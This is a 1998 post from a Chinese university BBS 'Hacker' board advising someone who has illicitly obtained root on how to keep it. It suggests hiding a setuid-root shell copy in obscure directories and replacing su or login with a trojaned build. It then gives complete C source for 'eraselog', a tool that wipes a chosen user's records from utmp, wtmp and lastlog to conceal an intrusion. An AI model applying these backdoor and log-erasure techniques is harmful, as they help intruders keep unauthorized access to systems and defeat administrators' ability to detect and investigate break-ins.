荔园在线
荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀
[回到开始]
[上一篇][下一篇]
发信人: Mill (我会忘记), 信区: Hacker
标 题: 获得root权限后应干什么?
发信站: BBS 荔园晨风站 (Sun Oct 25 15:53:01 1998), 站内信件
现在假设你已用某种手段获得了root权限(可能是暂时的),当然你不会故意去
破坏别人的系统,而破解此系统可能花费了你不小力气, 不为自己留个后门好象
于心不甘. 那么你应干什么才能在系统中长久保持root的权限呢?
最简单的方法,做个setuid root的shell, 将某个shell拷贝到一个"安全"目录下
并改为hidden: .xxx, 将其加上root的setuid位, chmod 6754(当然不一定是这个数)
这样别人要想发现得 ls -al列目录才行. 这涉及到此"安全"目录问题,此shell放
在哪最安全? 放在$HOME下? ls-al 列表rwsr-sr-- root root出现在一堆你作为
owner的文档中, 好象很刺眼. 放在某个少人去的目录下? /var/*** /dev/***, 当然
你作为普通用户得能进该目录才行. 或是干脆放在/bin, /sbin, /usr/bin下,但root
ls -al时对setuid的程序一般会很注意,因为大多破解均是从此类程序上找漏洞.
你认为较安全的地方在哪? 欢迎讨论.
稍复杂一点的方法,改su或login,当然这与具体的OS相关了,且得有源码. 如
Linux的su/login均代源码,你可改写之为自己留个后门(当然也可加你想要的别的功
能). 然后将此木马程序覆盖原来之su/login, 相信只要日期什么的注意一点,root
不应发现程序被换掉了吧?
另外, 在你telnet上一台机器, 被who看见怎么办? 还有你的login log, 这些
都得注意消除. 下面的程序来自精华区的某篇文章,我改了几个路径使其适用于
Linux(utmp, wtmp, lastlog等记录文件随OS不同而异, 要找对地方),可能对一些
人会有用.
--------------------- eraselog.c----------------------------
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
/* /var/run/utmp records currently who is logged in, --/usr/bin/who
/var/log/wtmp records all login/logout, --/usr/bin/last
/var/log/lastlog records each user's last login --/usr/sbin/lastlog
*/
/*#define WTMP_NAME "/usr/adm/wtmp" */
#define WTMP_NAME "/var/log/wtmp"
/* In linux, this file is at /var/log/wtmp */
#define UTMP_NAME "/etc/utmp"
/* In linux, this file is at /var/run/utmp, but has a symbolic link
to /etc/utmp, you can 'man utmp/wtmp' to obtain more info */
/*#define LASTLOG_NAME "/usr/adm/lastlog"*/
#define LASTLOG_NAME "/var/log/lastlog"
/* In linux, this file is at /var/log/lastlog */
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Erase log of user %s!\n",argv[1]);
} else
printf("Usage: eraselog username\n");
}
--
m;37m※ 来源:.BBS 广商星光站 bbs.gdcc.edu.cn.[FROM: 202.116.54.4]m
--
m;33m※ 转寄:.BBS 广商星光站 bbs.gdcc.edu.cn.[FROM: bbs.huizhou.gd.c]m
--
┏━━━━━━━━━━━━━┯┓
┃ 弃我去者,昨日之日不可留, ╚┫
┃ 乱我心者,今日之日多烦忧. ┃
┗━━━━━━━━━━━━━━┛
取下天上的月亮后,我拿给你
Email: s7110109@szu.edu.cn Macrobird
※ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: 192.168.0.167]
[回到开始]
[上一篇][下一篇]
荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店